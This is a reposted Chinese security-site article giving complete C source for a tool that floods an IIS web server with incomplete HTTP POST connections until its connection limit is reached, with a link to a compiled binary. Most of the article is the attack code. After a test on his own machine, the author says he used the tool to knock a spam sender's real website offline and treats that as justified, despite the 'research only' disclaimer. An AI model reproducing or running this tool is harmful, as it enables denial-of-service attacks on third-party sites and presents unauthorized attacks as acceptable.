您的位置:首页 >>网安文摘 >>技术文摘 >> 文章内容

利用IIS最大连接数实现网站DOS

Google
 
[ 信息来源:lake ] [ 发布时间:2006-11-22 ]

连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

西部网安

ps:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负! 你复制的文字来自西部网安

最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。 西部网安

这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。 西部网安

具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下: 你复制的文字来自西部网安


#include "winsock.h"

#include "stdio.h" 西部网安

#include "string.h" westsafe.net

#include "io.h" 西部网安

#pragma comment(lib,"ws2_32.lib") 西部网安

#define BUFLEN 1024

westsafe.net

#define MAXThreadCount 10 //设置最大线程数

 

int ThreadCount=0; 你复制的文字来自西部网安

  你复制的文字来自西部网安

struct mydata 网安官方站

{

char *ip; 西部网安

int port;

};

  西部网安

 

unsigned int resolve(char *name)

{

西部网安

struct hostent *he;

unsigned int ip;

你复制的文字来自西部网安

 

if((ip=inet_addr(name))==(-1))

你复制的文字来自西部网安

{

if((he=gethostbyname(name))==0)

return 0;

你复制的文字来自西部网安

memcpy(&ip,he->h_addr,4); westsafe.net

} westsafe.net

return ip; 网安官方站

}

你复制的文字来自西部网安

  网安官方站

 

DWORD WINAPI Dos(LPVOID lpParam )

{

mydata *csdn = (mydata*)lpParam; 你复制的文字来自西部网安

struct sockaddr_in server;

你复制的文字来自西部网安

server.sin_family = AF_INET;

server.sin_port = htons(csdn->port);

server.sin_addr.s_addr = resolve((char*)csdn->ip);

westsafe.net

if(server.sin_addr.s_addr==0)

{

 

printf("Don't find address %s\n",(char*)csdn->ip);

westsafe.net

exit(0); 网安官方站

} 西部网安

int my;

网安官方站

char buf[100]="POST / HTTP/1.1\r\nHost: "; 网安官方站

strcat(buf,(char*)csdn->ip);

strcat(buf," \r\nContent-Length: 10\r\n\r\n");

my=socket(PF_INET,SOCK_STREAM,0);

if(my==INVALID_SOCKET) 你复制的文字来自西部网安

{

printf("ERROR"); 西部网安

exit(0);

}

if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)

{

westsafe.net

printf("Socket ERROR:%d",GetLastError()); 网安官方站

exit(0);

你复制的文字来自西部网安

} 网安官方站

if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}

ThreadCount--; westsafe.net

return 0;

}

 

void thread ( char *a1 , char *a2 , char *a3 ) 你复制的文字来自西部网安

{ westsafe.net

static mydata tmp;

tmp.ip = a1; westsafe.net

tmp.port = atoi(a2); 西部网安

 

你复制的文字来自西部网安

DWORD dwThreadId; 你复制的文字来自西部网安

HANDLE hThread; westsafe.net

WSADATA ws;

westsafe.net

if (WSAStartup( MAKEWORD(2,2), &ws )!=0) 你复制的文字来自西部网安

{ westsafe.net

printf(" [-] WSAStartup() error\n"); westsafe.net

exit(0);

} westsafe.net

 

westsafe.net

hThread = CreateThread( 你复制的文字来自西部网安

NULL, // no security attributes

0, // use default stack size 网安官方站

Dos, // thread function

&tmp, // argument to thread function

你复制的文字来自西部网安

0, // use default creation flags

westsafe.net

&dwThreadId); // returns the thread identifier

westsafe.net

if (hThread == NULL) westsafe.net

printf( "CreateThread failed." ); westsafe.net

ThreadCount++;

Sleep(200); //延时,否则CPU会用满……

CloseHandle(hThread);

westsafe.net

}

 

int main(int argc, char* argv[])

你复制的文字来自西部网安

{

西部网安

int i=0;

网安官方站

if(argc!=4)

网安官方站

{

westsafe.net

printf("\n\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005\n");

西部网安

printf("-Usage:\n");

westsafe.net

printf("%s <TargetAddress> <port> <MaxConnectionCount>\n",argv[0]);

你复制的文字来自西部网安

printf("-Example: %s www.target.com 80 300\n",argv[0]);

return 0;

} westsafe.net

printf("Starting DOS.............Ctrl + C break\n");

while( i < atoi(argv[3]) )

你复制的文字来自西部网安

{

网安官方站

if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;} westsafe.net

}

while( 1 ){ }

WSACleanup();

网安官方站

return 0;

西部网安

} 西部网安


(VS.net 、XP SP1调试通过。编译好的程序可以在这里找到:http://www.0x54.org/lake2/program/IISDos.exe

程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。

测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^

你复制的文字来自西部网安

attachments/200507/11_091952_1.jpg



既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。

好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了(图),嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。

网安官方站

attachments/200507/11_092012_2.jpg


 

西部网安


声明:西部网安刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。   
 
    ·在线评论

评论列表

用户名: 新注册) 密码: 匿名评论

赞助展示链接
精彩图片
赛车版无间道 极品飞车12真人游戏截图 赛车版无间道 极品飞车12真人游
第十二代《极品飞车:卧底》(Need for Speed Undercover)是EA Black B
奥林巴斯E-520样张:美女花木衣世 奥林巴斯E-520样张:美女花木衣
奥林巴斯E-520是一款外形小巧、携带方便的数码单反相机,更是一款非常
全球最轻播放器之一 Cube D7美女图赏 全球最轻播放器之一 Cube D7美女
DCube D7十分小巧,其三围是59.53311mm ,重25克。受制机身的限制,D7
黑丝袜的诱惑 性感美女演绎台电T50+ 黑丝袜的诱惑 性感美女演绎台电T
台电T50+在前作的基础上加入了TV-OUT电视输出功能,采用WQVGA多点触摸
周杰伦大名远洋 成中国入选W3C规范第一人 周杰伦大名远洋 成中国入选W3C规
2008年8月29日,W3C的Web IDL工作草案正式发布,令人惊奇的是在规范说

版权所有 西部网安 Copyright(C) 2005-2008 All Rights Reserved.陕ICP备05009754号